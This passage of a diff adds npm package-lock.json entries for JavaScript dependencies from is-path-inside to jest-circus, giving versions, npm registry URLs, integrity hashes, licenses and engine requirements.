15585+ "integrity": "sha512-l4RyHgRqGN4Y3+9JHVrNqO+tN0rV5My76uW5/nuO4K1b6vw5G8d/cmFjP9tRfEsdhZNt0IFdZuK/c2Vr4Nb+Qg==",
15586+ "license": "MIT",
15587+ "engines": {
15588+ "node": ">=0.10.0"
15589+ }
15590+ },
15591+ "node_modules/is-path-inside": {
15592+ "version": "3.0.3",
15593+ "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz",
15594+ "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==",
15595+ "license": "MIT",
15596+ "engines": {
15597+ "node": ">=8"
15598+ }
15599+ },
15600+ "node_modules/is-plain-obj": {
15601+ "version": "3.0.0",
15602+ "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-3.0.0.tgz",
15603+ "integrity": "sha512-gwsOE28k+23GP1B6vFl1oVh/WOzmawBrKwo5Ev6wMKzPkaXaCDIQKzLnvsA42DRlbVTWorkgTKIviAKCWkfUwA==",
15604+ "license": "MIT",
15605+ "engines": {
15606+ "node": ">=10"
15607+ },
15608+ "funding": {
15609+ "url": "https://github.com/sponsors/sindresorhus"
15610+ }
15611+ },
15612+ "node_modules/is-plain-object": {
15613+ "version": "2.0.4",
15614+ "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz",
15615+ "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==",
15616+ "license": "MIT",
15617+ "dependencies": {
15618+ "isobject": "^3.0.1"
15619+ },
15620+ "engines": {
15621+ "node": ">=0.10.0"
15622+ }
15623+ },
15624+ "node_modules/is-potential-custom-element-name": {
15625+ "version": "1.0.1",
15626+ "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz",
15627+ "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ==",
15628+ "license": "MIT"
15629+ },
15630+ "node_modules/is-promise": {
15631+ "version": "2.2.2",
15632+ "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-2.2.2.tgz",
15633+ "integrity": "sha512-+lP4/6lKUBfQjZ2pdxThZvLUAafmZb8OAxFb8XXtiQmS35INgr85hdOGoEs124ez1FCnZJt6jau/T+alh58QFQ==",
15634+ "license": "MIT"
15635+ },
15636+ "node_modules/is-regex": {
15637+ "version": "1.2.1",
15638+ "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.2.1.tgz",
15639+ "integrity": "sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==",
15640+ "license": "MIT",
15641+ "dependencies": {
15642+ "call-bound": "^1.0.2",
15643+ "gopd": "^1.2.0",
15644+ "has-tostringtag": "^1.0.2",
15645+ "hasown": "^2.0.2"
15646+ },
15647+ "engines": {
15648+ "node": ">= 0.4"
15649+ },
15650+ "funding": {
15651+ "url": "https://github.com/sponsors/ljharb"
15652+ }
15653+ },
15654+ "node_modules/is-regexp": {
15655+ "version": "1.0.0",
15656+ "resolved": "https://registry.npmjs.org/is-regexp/-/is-regexp-1.0.0.tgz",
15657+ "integrity": "sha512-7zjFAPO4/gwyQAAgRRmqeEeyIICSdmCqa3tsVHMdBzaXXRiqopZL4Cyghg/XulGWrtABTpbnYYzzIRffLkP4oA==",
15658+ "license": "MIT",
15659+ "engines": {
15660+ "node": ">=0.10.0"
15661+ }
15662+ },
15663+ "node_modules/is-root": {
15664+ "version": "2.1.0",
15665+ "resolved": "https://registry.npmjs.org/is-root/-/is-root-2.1.0.tgz",
15666+ "integrity": "sha512-AGOriNp96vNBd3HtU+RzFEc75FfR5ymiYv8E553I71SCeXBiMsVDUtdio1OEFvrPyLIQ9tVR5RxXIFe5PUFjMg==",
15667+ "license": "MIT",
15668+ "engines": {
15669+ "node": ">=6"
15670+ }
15671+ },
15672+ "node_modules/is-set": {
15673+ "version": "2.0.3",
15674+ "resolved": "https://registry.npmjs.org/is-set/-/is-set-2.0.3.tgz",
15675+ "integrity": "sha512-iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg==",
15676+ "license": "MIT",
15677+ "engines": {
15678+ "node": ">= 0.4"
15679+ },
15680+ "funding": {
15681+ "url": "https://github.com/sponsors/ljharb"
15682+ }
15683+ },
15684+ "node_modules/is-shared-array-buffer": {
15685+ "version": "1.0.4",
15686+ "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.4.tgz",
15687+ "integrity": "sha512-ISWac8drv4ZGfwKl5slpHG9OwPNty4jOWPRIhBpxOoD+hqITiwuipOQ2bNthAzwA3B4fIjO4Nln74N0S9byq8A==",
15688+ "license": "MIT",
15689+ "dependencies": {
15690+ "call-bound": "^1.0.3"
15691+ },
15692+ "engines": {
15693+ "node": ">= 0.4"
15694+ },
15695+ "funding": {
15696+ "url": "https://github.com/sponsors/ljharb"
15697+ }
15698+ },
15699+ "node_modules/is-stream": {
15700+ "version": "2.0.1",
15701+ "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz",
15702+ "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==",
15703+ "license": "MIT",
15704+ "engines": {
15705+ "node": ">=8"
15706+ },
15707+ "funding": {
15708+ "url": "https://github.com/sponsors/sindresorhus"
15709+ }
15710+ },
15711+ "node_modules/is-string": {
15712+ "version": "1.1.1",
15713+ "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.1.1.tgz",
15714+ "integrity": "sha512-BtEeSsoaQjlSPBemMQIrY1MY0uM6vnS1g5fmufYOtnxLGUZM2178PKbhsk7Ffv58IX+ZtcvoGwccYsh0PglkAA==",
15715+ "license": "MIT",
15716+ "dependencies": {
15717+ "call-bound": "^1.0.3",
15718+ "has-tostringtag": "^1.0.2"
15719+ },
15720+ "engines": {
15721+ "node": ">= 0.4"
15722+ },
15723+ "funding": {
15724+ "url": "https://github.com/sponsors/ljharb"
15725+ }
15726+ },
15727+ "node_modules/is-symbol": {
15728+ "version": "1.1.1",
15729+ "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.1.1.tgz",
15730+ "integrity": "sha512-9gGx6GTtCQM73BgmHQXfDmLtfjjTUDSyoxTCbp5WtoixAhfgsDirWIcVQ/IHpvI5Vgd5i/J5F7B9cN/WlVbC/w==",
15731+ "license": "MIT",
15732+ "dependencies": {
15733+ "call-bound": "^1.0.2",
15734+ "has-symbols": "^1.1.0",
15735+ "safe-regex-test": "^1.1.0"
15736+ },
15737+ "engines": {
15738+ "node": ">= 0.4"
15739+ },
15740+ "funding": {
15741+ "url": "https://github.com/sponsors/ljharb"
15742+ }
15743+ },
15744+ "node_modules/is-typed-array": {
15745+ "version": "1.1.15",
15746+ "resolved": "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.15.tgz",
15747+ "integrity": "sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ==",
15748+ "license": "MIT",
15749+ "dependencies": {
15750+ "which-typed-array": "^1.1.16"
15751+ },
15752+ "engines": {
15753+ "node": ">= 0.4"
15754+ },
15755+ "funding": {
15756+ "url": "https://github.com/sponsors/ljharb"
15757+ }
15758+ },
15759+ "node_modules/is-typedarray": {
15760+ "version": "1.0.0",
15761+ "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz",
15762+ "integrity": "sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA==",
15763+ "license": "MIT"
15764+ },
15765+ "node_modules/is-weakmap": {
15766+ "version": "2.0.2",
15767+ "resolved": "https://registry.npmjs.org/is-weakmap/-/is-weakmap-2.0.2.tgz",
15768+ "integrity": "sha512-K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w==",
15769+ "license": "MIT",
15770+ "engines": {
15771+ "node": ">= 0.4"
15772+ },
15773+ "funding": {
15774+ "url": "https://github.com/sponsors/ljharb"
15775+ }
15776+ },
15777+ "node_modules/is-weakref": {
15778+ "version": "1.1.1",
15779+ "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.1.1.tgz",
15780+ "integrity": "sha512-6i9mGWSlqzNMEqpCp93KwRS1uUOodk2OJ6b+sq7ZPDSy2WuI5NFIxp/254TytR8ftefexkWn5xNiHUNpPOfSew==",
15781+ "license": "MIT",
15782+ "dependencies": {
15783+ "call-bound": "^1.0.3"
15784+ },
15785+ "engines": {
15786+ "node": ">= 0.4"
15787+ },
15788+ "funding": {
15789+ "url": "https://github.com/sponsors/ljharb"
15790+ }
15791+ },
15792+ "node_modules/is-weakset": {
15793+ "version": "2.0.4",
15794+ "resolved": "https://registry.npmjs.org/is-weakset/-/is-weakset-2.0.4.tgz",
15795+ "integrity": "sha512-mfcwb6IzQyOKTs84CQMrOwW4gQcaTOAWJ0zzJCl2WSPDrWk/OzDaImWFH3djXhb24g4eudZfLRozAvPGw4d9hQ==",
15796+ "license": "MIT",
15797+ "dependencies": {
15798+ "call-bound": "^1.0.3",
15799+ "get-intrinsic": "^1.2.6"
15800+ },
15801+ "engines": {
15802+ "node": ">= 0.4"
15803+ },
15804+ "funding": {
15805+ "url": "https://github.com/sponsors/ljharb"
15806+ }
15807+ },
15808+ "node_modules/is-wsl": {
15809+ "version": "2.2.0",
15810+ "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-2.2.0.tgz",
15811+ "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==",
15812+ "license": "MIT",
15813+ "dependencies": {
15814+ "is-docker": "^2.0.0"
15815+ },
15816+ "engines": {
15817+ "node": ">=8"
15818+ }
15819+ },
15820+ "node_modules/isarray": {
15821+ "version": "2.0.5",
15822+ "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz",
15823+ "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==",
15824+ "license": "MIT"
15825+ },
15826+ "node_modules/isexe": {
15827+ "version": "2.0.0",
15828+ "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
15829+ "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==",
15830+ "license": "ISC"
15831+ },
15832+ "node_modules/isobject": {
15833+ "version": "3.0.1",
15834+ "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
15835+ "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg==",
15836+ "license": "MIT",
15837+ "engines": {
15838+ "node": ">=0.10.0"
15839+ }
15840+ },
15841+ "node_modules/isomorphic-timers-promises": {
15842+ "version": "1.0.1",
15843+ "resolved": "https://registry.npmjs.org/isomorphic-timers-promises/-/isomorphic-timers-promises-1.0.1.tgz",
15844+ "integrity": "sha512-u4sej9B1LPSxTGKB/HiuzvEQnXH0ECYkSVQU39koSwmFAxhlEAFl9RdTvLv4TOTQUgBS5O3O5fwUxk6byBZ+IQ==",
15845+ "license": "MIT",
15846+ "engines": {
15847+ "node": ">=10"
15848+ }
15849+ },
15850+ "node_modules/isstream": {
15851+ "version": "0.1.2",
15852+ "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz",
15853+ "integrity": "sha512-Yljz7ffyPbrLpLngrMtZ7NduUgVvi6wG9RJ9IUcyCd59YQ911PBJphODUcbOVbqYfxe1wuYf/LJ8PauMRwsM/g==",
15854+ "license": "MIT"
15855+ },
15856+ "node_modules/istanbul-lib-coverage": {
15857+ "version": "3.2.2",
15858+ "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.2.tgz",
15859+ "integrity": "sha512-O8dpsF+r0WV/8MNRKfnmrtCWhuKjxrq2w+jpzBL5UZKTi2LeVWnWOmWRxFlesJONmc+wLAGvKQZEOanko0LFTg==",
15860+ "license": "BSD-3-Clause",
15861+ "engines": {
15862+ "node": ">=8"
15863+ }
15864+ },
15865+ "node_modules/istanbul-lib-instrument": {
15866+ "version": "5.2.1",
15867+ "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-5.2.1.tgz",
15868+ "integrity": "sha512-pzqtp31nLv/XFOzXGuvhCb8qhjmTVo5vjVk19XE4CRlSWz0KoeJ3bw9XsA7nOp9YBf4qHjwBxkDzKcME/J29Yg==",
15869+ "license": "BSD-3-Clause",
15870+ "dependencies": {
15871+ "@babel/core": "^7.12.3",
15872+ "@babel/parser": "^7.14.7",
15873+ "@istanbuljs/schema": "^0.1.2",
15874+ "istanbul-lib-coverage": "^3.2.0",
15875+ "semver": "^6.3.0"
15876+ },
15877+ "engines": {
15878+ "node": ">=8"
15879+ }
15880+ },
15881+ "node_modules/istanbul-lib-instrument/node_modules/semver": {
15882+ "version": "6.3.1",
15883+ "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
15884+ "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
15885+ "license": "ISC",
15886+ "bin": {
15887+ "semver": "bin/semver.js"
15888+ }
15889+ },
15890+ "node_modules/istanbul-lib-report": {
15891+ "version": "3.0.1",
15892+ "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.1.tgz",
15893+ "integrity": "sha512-GCfE1mtsHGOELCU8e/Z7YWzpmybrx/+dSTfLrvY8qRmaY6zXTKWn6WQIjaAFw069icm6GVMNkgu0NzI4iPZUNw==",
15894+ "license": "BSD-3-Clause",
15895+ "dependencies": {
15896+ "istanbul-lib-coverage": "^3.0.0",
15897+ "make-dir": "^4.0.0",
15898+ "supports-color": "^7.1.0"
15899+ },
15900+ "engines": {
15901+ "node": ">=10"
15902+ }
15903+ },
15904+ "node_modules/istanbul-lib-report/node_modules/make-dir": {
15905+ "version": "4.0.0",
15906+ "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-4.0.0.tgz",
15907+ "integrity": "sha512-hXdUTZYIVOt1Ex//jAQi+wTZZpUpwBj/0QsOzqegb3rGMMeJiSEu5xLHnYfBrRV4RH2+OCSOO95Is/7x1WJ4bw==",
15908+ "license": "MIT",
15909+ "dependencies": {
15910+ "semver": "^7.5.3"
15911+ },
15912+ "engines": {
15913+ "node": ">=10"
15914+ },
15915+ "funding": {
15916+ "url": "https://github.com/sponsors/sindresorhus"
15917+ }
15918+ },
15919+ "node_modules/istanbul-lib-source-maps": {
15920+ "version": "4.0.1",
15921+ "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.1.tgz",
15922+ "integrity": "sha512-n3s8EwkdFIJCG3BPKBYvskgXGoy88ARzvegkitk60NxRdwltLOTaH7CUiMRXvwYorl0Q712iEjcWB+fK/MrWVw==",
15923+ "license": "BSD-3-Clause",
15924+ "dependencies": {
15925+ "debug": "^4.1.1",
15926+ "istanbul-lib-coverage": "^3.0.0",
15927+ "source-map": "^0.6.1"
15928+ },
15929+ "engines": {
15930+ "node": ">=10"
15931+ }
15932+ },
15933+ "node_modules/istanbul-lib-source-maps/node_modules/debug": {
15934+ "version": "4.4.3",
15935+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
15936+ "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
15937+ "license": "MIT",
15938+ "dependencies": {
15939+ "ms": "^2.1.3"
15940+ },
15941+ "engines": {
15942+ "node": ">=6.0"
15943+ },
15944+ "peerDependenciesMeta": {
15945+ "supports-color": {
15946+ "optional": true
15947+ }
15948+ }
15949+ },
15950+ "node_modules/istanbul-lib-source-maps/node_modules/ms": {
15951+ "version": "2.1.3",
15952+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
15953+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
15954+ "license": "MIT"
15955+ },
15956+ "node_modules/istanbul-lib-source-maps/node_modules/source-map": {
15957+ "version": "0.6.1",
15958+ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
15959+ "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
15960+ "license": "BSD-3-Clause",
15961+ "engines": {
15962+ "node": ">=0.10.0"
15963+ }
15964+ },
15965+ "node_modules/istanbul-reports": {
15966+ "version": "3.2.0",
15967+ "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.2.0.tgz",
15968+ "integrity": "sha512-HGYWWS/ehqTV3xN10i23tkPkpH46MLCIMFNCaaKNavAXTF1RkqxawEPtnjnGZ6XKSInBKkiOA5BKS+aZiY3AvA==",
15969+ "license": "BSD-3-Clause",
15970+ "dependencies": {
15971+ "html-escaper": "^2.0.0",
15972+ "istanbul-lib-report": "^3.0.0"
15973+ },
15974+ "engines": {
15975+ "node": ">=8"
15976+ }
15977+ },
15978+ "node_modules/iterator.prototype": {
15979+ "version": "1.1.5",
15980+ "resolved": "https://registry.npmjs.org/iterator.prototype/-/iterator.prototype-1.1.5.tgz",
15981+ "integrity": "sha512-H0dkQoCa3b2VEeKQBOxFph+JAbcrQdE7KC0UkqwpLmv2EC4P41QXP+rqo9wYodACiG5/WM5s9oDApTU8utwj9g==",
15982+ "license": "MIT",
15983+ "dependencies": {
15984+ "define-data-property": "^1.1.4",
15985+ "es-object-atoms": "^1.0.0",
15986+ "get-intrinsic": "^1.2.6",
15987+ "get-proto": "^1.0.0",
15988+ "has-symbols": "^1.1.0",
15989+ "set-function-name": "^2.0.2"
15990+ },
15991+ "engines": {
15992+ "node": ">= 0.4"
15993+ }
15994+ },
15995+ "node_modules/its-fine": {
15996+ "version": "1.2.5",
15997+ "resolved": "https://registry.npmjs.org/its-fine/-/its-fine-1.2.5.tgz",
15998+ "integrity": "sha512-fXtDA0X0t0eBYAGLVM5YsgJGsJ5jEmqZEPrGbzdf5awjv0xE7nqv3TVnvtUF060Tkes15DbDAKW/I48vsb6SyA==",
15999+ "license": "MIT",
16000+ "dependencies": {
16001+ "@types/react-reconciler": "^0.28.0"
16002+ },
16003+ "peerDependencies": {
16004+ "react": ">=18.0"
16005+ }
16006+ },
16007+ "node_modules/its-fine/node_modules/@types/react-reconciler": {
16008+ "version": "0.28.9",
16009+ "resolved": "https://registry.npmjs.org/@types/react-reconciler/-/react-reconciler-0.28.9.tgz",
16010+ "integrity": "sha512-HHM3nxyUZ3zAylX8ZEyrDNd2XZOnQ0D5XfunJF5FLQnZbHHYq4UWvW1QfelQNXv1ICNkwYhfxjwfnqivYB6bFg==",
16011+ "license": "MIT",
16012+ "peerDependencies": {
16013+ "@types/react": "*"
16014+ }
16015+ },
16016+ "node_modules/jake": {
16017+ "version": "10.9.4",
16018+ "resolved": "https://registry.npmjs.org/jake/-/jake-10.9.4.tgz",
16019+ "integrity": "sha512-wpHYzhxiVQL+IV05BLE2Xn34zW1S223hvjtqk0+gsPrwd/8JNLXJgZZM/iPFsYc1xyphF+6M6EvdE5E9MBGkDA==",
16020+ "license": "Apache-2.0",
16021+ "dependencies": {
16022+ "async": "^3.2.6",
16023+ "filelist": "^1.0.4",
16024+ "picocolors": "^1.1.1"
16025+ },
16026+ "bin": {
16027+ "jake": "bin/cli.js"
16028+ },
16029+ "engines": {
16030+ "node": ">=10"
16031+ }
16032+ },
16033+ "node_modules/jake/node_modules/async": {
16034+ "version": "3.2.6",
16035+ "resolved": "https://registry.npmjs.org/async/-/async-3.2.6.tgz",
16036+ "integrity": "sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA==",
16037+ "license": "MIT"
16038+ },
16039+ "node_modules/jest": {
16040+ "version": "27.5.1",
16041+ "resolved": "https://registry.npmjs.org/jest/-/jest-27.5.1.tgz",
16042+ "integrity": "sha512-Yn0mADZB89zTtjkPJEXwrac3LHudkQMR+Paqa8uxJHCBr9agxztUifWCyiYrjhMPBoUVBjyny0I7XH6ozDr7QQ==",
16043+ "license": "MIT",
16044+ "dependencies": {
16045+ "@jest/core": "^27.5.1",
16046+ "import-local": "^3.0.2",
16047+ "jest-cli": "^27.5.1"
16048+ },
16049+ "bin": {
16050+ "jest": "bin/jest.js"
16051+ },
16052+ "engines": {
16053+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
16054+ },
16055+ "peerDependencies": {
16056+ "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0"
16057+ },
16058+ "peerDependenciesMeta": {
16059+ "node-notifier": {
16060+ "optional": true
16061+ }
16062+ }
16063+ },
16064+ "node_modules/jest-changed-files": {
16065+ "version": "27.5.1",
16066+ "resolved": "https://registry.npmjs.org/jest-changed-files/-/jest-changed-files-27.5.1.tgz",
16067+ "integrity": "sha512-buBLMiByfWGCoMsLLzGUUSpAmIAGnbR2KJoMN10ziLhOLvP4e0SlypHnAel8iqQXTrcbmfEY9sSqae5sgUsTvw==",
16068+ "license": "MIT",
16069+ "dependencies": {
16070+ "@jest/types": "^27.5.1",
16071+ "execa": "^5.0.0",
16072+ "throat": "^6.0.1"
16073+ },
16074+ "engines": {
16075+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
16076+ }
16077+ },
16078+ "node_modules/jest-changed-files/node_modules/@jest/types": {
16079+ "version": "27.5.1",
16080+ "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
16081+ "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
16082+ "license": "MIT",
16083+ "dependencies": {
16084+ "@types/istanbul-lib-coverage": "^2.0.0",
16085+ "@types/istanbul-reports": "^3.0.0",
16086+ "@types/node": "*",
16087+ "@types/yargs": "^16.0.0",
16088+ "chalk": "^4.0.0"
16089+ },
16090+ "engines": {
16091+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
16092+ }
16093+ },
16094+ "node_modules/jest-changed-files/node_modules/@types/yargs": {
16095+ "version": "16.0.11",
16096+ "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz",
16097+ "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==",
16098+ "license": "MIT",
16099+ "dependencies": {
16100+ "@types/yargs-parser": "*"
16101+ }
16102+ },
16103+ "node_modules/jest-changed-files/node_modules/chalk": {
16104+ "version": "4.1.2",
16105+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
16106+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
16107+ "license": "MIT",
16108+ "dependencies": {
16109+ "ansi-styles": "^4.1.0",
16110+ "supports-color": "^7.1.0"
16111+ },
16112+ "engines": {
16113+ "node": ">=10"
16114+ },
16115+ "funding": {
16116+ "url": "https://github.com/chalk/chalk?sponsor=1"
16117+ }
16118+ },
16119+ "node_modules/jest-circus": {
16120+ "version": "27.5.1",
16121+ "resolved": "https://registry.npmjs.org/jest-circus/-/jest-circus-27.5.1.tgz",
16122+ "integrity": "sha512-D95R7x5UtlMA5iBYsOHFFbMD/GVA4R/Kdq15f7xYWUfWHBto9NYRsOvnSauTgdF+ogCpJ4tyKOXhUifxS65gdw==",
16123+ "license": "MIT",
16124+ "dependencies": {
16125+ "@jest/environment": "^27.5.1",
16126+ "@jest/test-result": "^27.5.1",
16127+ "@jest/types": "^27.5.1",
16128+ "@types/node": "*",
16129+ "chalk": "^4.0.0",
16130+ "co": "^4.6.0",
16131+ "dedent": "^0.7.0",
16132+ "expect": "^27.5.1",
16133+ "is-generator-fn": "^2.0.0",
16134+ "jest-each": "^27.5.1",
16135+ "jest-matcher-utils": "^27.5.1",
16136+ "jest-message-util": "^27.5.1",
16137+ "jest-runtime": "^27.5.1",
16138+ "jest-snapshot": "^27.5.1",
16139+ "jest-util": "^27.5.1",
16140+ "pretty-format": "^27.5.1",
16141+ "slash": "^3.0.0",
16142+ "stack-utils": "^2.0.3",
16143+ "throat": "^6.0.1"
16144+ },
16145+ "engines": {
16146+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
16147+ }
16148+ },
16149+ "node_modules/jest-circus/node_modules/@jest/types": {
16150+ "version": "27.5.1",
16151+ "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
16152+ "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
16153+ "license": "MIT",
16154+ "dependencies": {
16155+ "@types/istanbul-lib-coverage": "^2.0.0",
16156+ "@types/istanbul-reports": "^3.0.0",
16157+ "@types/node": "*",
16158+ "@types/yargs": "^16.0.0",
16159+ "chalk": "^4.0.0"
16160+ },
16161+ "engines": {
16162+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
16163+ }
16164+ },
16165+ "node_modules/jest-circus/node_modules/@types/yargs": {
16166+ "version": "16.0.11",
16167+ "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz",
16168+ "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==",
16169+ "license": "MIT",
16170+ "dependencies": {
16171+ "@types/yargs-parser": "*"
16172+ }
16173+ },
16174+ "node_modules/jest-circus/node_modules/chalk": {
16175+ "version": "4.1.2",
16176+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
16177+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
16178+ "license": "MIT",
16179+ "dependencies": {
16180+ "ansi-styles": "^4.1.0",
16181+ "supports-color": "^7.1.0"
16182+ },
16183+ "engines": {
16184+ "node": ">=10"
16185+ },
16186+ "funding": {
16187+ "url": "https://github.com/chalk/chalk?sponsor=1"
16188+ }
16189+ },
16190+ "node_modules/jest-circus/node_modules/ci-info": {
16191+ "version": "3.9.0",
16192+ "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz",
16193+ "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==",
16194+ "funding": [
16195+ {
16196+ "type": "github",
16197+ "url": "https://github.com/sponsors/sibiraj-s"
16198+ }
16199+ ],
16200+ "license": "MIT",
16201+ "engines": {
16202+ "node": ">=8"
16203+ }
16204+ },
16205+ "node_modules/jest-circus/node_modules/expect": {
16206+ "version": "27.5.1",
16207+ "resolved": "https://registry.npmjs.org/expect/-/expect-27.5.1.tgz",
16208+ "integrity": "sha512-E1q5hSUG2AmYQwQJ041nvgpkODHQvB+RKlB4IYdru6uJsyFTRyZAP463M+1lINorwbqAmUggi6+WwkD8lCS/Dw==",
16209+ "license": "MIT",
16210+ "dependencies": {
16211+ "@jest/types": "^27.5.1",
16212+ "jest-get-type": "^27.5.1",
16213+ "jest-matcher-utils": "^27.5.1",
16214+ "jest-message-util": "^27.5.1"
16215+ },
16216+ "engines": {
16217+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
16218+ }
16219+ },
16220+ "node_modules/jest-circus/node_modules/jest-diff": {
16221+ "version": "27.5.1",
16222+ "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-27.5.1.tgz",
16223+ "integrity": "sha512-m0NvkX55LDt9T4mctTEgnZk3fmEg3NRYutvMPWM/0iPnkFj2wIeF45O1718cMSOFO1vINkqmxqD8vE37uTEbqw==",
